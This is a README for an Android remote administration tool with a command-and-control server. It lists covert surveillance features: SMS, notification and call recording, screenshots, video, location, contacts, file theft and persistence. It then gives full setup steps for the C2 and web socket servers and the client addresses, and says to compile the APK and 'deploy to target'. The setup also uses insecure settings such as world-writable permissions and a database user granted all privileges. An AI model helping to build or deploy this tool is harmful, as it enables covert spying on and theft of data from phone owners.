Remote adminitration tool for android
- Notifications listener
- SMS listener
- Phone call recording
- Image capturing and screenshots
- Video recording
- Persistence
- Read & write contacts
- List installed applications
- Download & upload files
- Get device location
- Clone repository
git clone https://github.com/Tomiwa-Ot/moukthar.git
- Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
- Move server files to
/var/www/html/
and install dependenciesThe default credentials are username:mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web-socket/ composer install cd /var/www chown -R www-data:www-data . chmod -R 777 .
android
and password:android
- Create new sql user
CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password'; GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost'; FLUSH PRIVILEGES;
- Set database credentials in
c2-server/.env
andweb-socket/.env
- Execute
database.sql
- Start web socket server or deploy as service in linux
php Server/web-socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
- Modify
/etc/apache2/sites-available/000-default.conf
<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html/c2-server DirectoryIndex app.php Options -Indexes ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
- Modify
/etc/apache2/apache2.conf
Comment this section #<Directory /> # Options FollowSymLinks # AllowOverride None # Require all denied #</Directory> Add this <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
- Increase php file upload max size
/etc/php/*.*/apache2/php.ini
; Increase size to permit large file uploads from client upload_max_filesize = 128M ; Set post_max_size to upload_max_filesize + 1 post_max_size = 129M
- Set web socket server address in <script> tag in
c2-server/src/View/home.php
andc2-server/src/View/features/files.php
const ws = new WebSocket('ws://IP_ADDRESS:8080');
- Restart apache using the command below
sudo a2enmod rewrite && sudo service apache2 restart
- Set C2 server and web socket server address in client
functionality/Utils.java
public static final String C2_SERVER = "http://localhost"; public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
- Compile APK using Android Studio and deploy to target
- Auto scroll logs on dashboard
- Screenshot not working
- Image/Video capturing doesn't work when application isn't in focus
- Downloading files in app using DownloadManager not working
- Listing constituents of a directory doesn't list all files/folders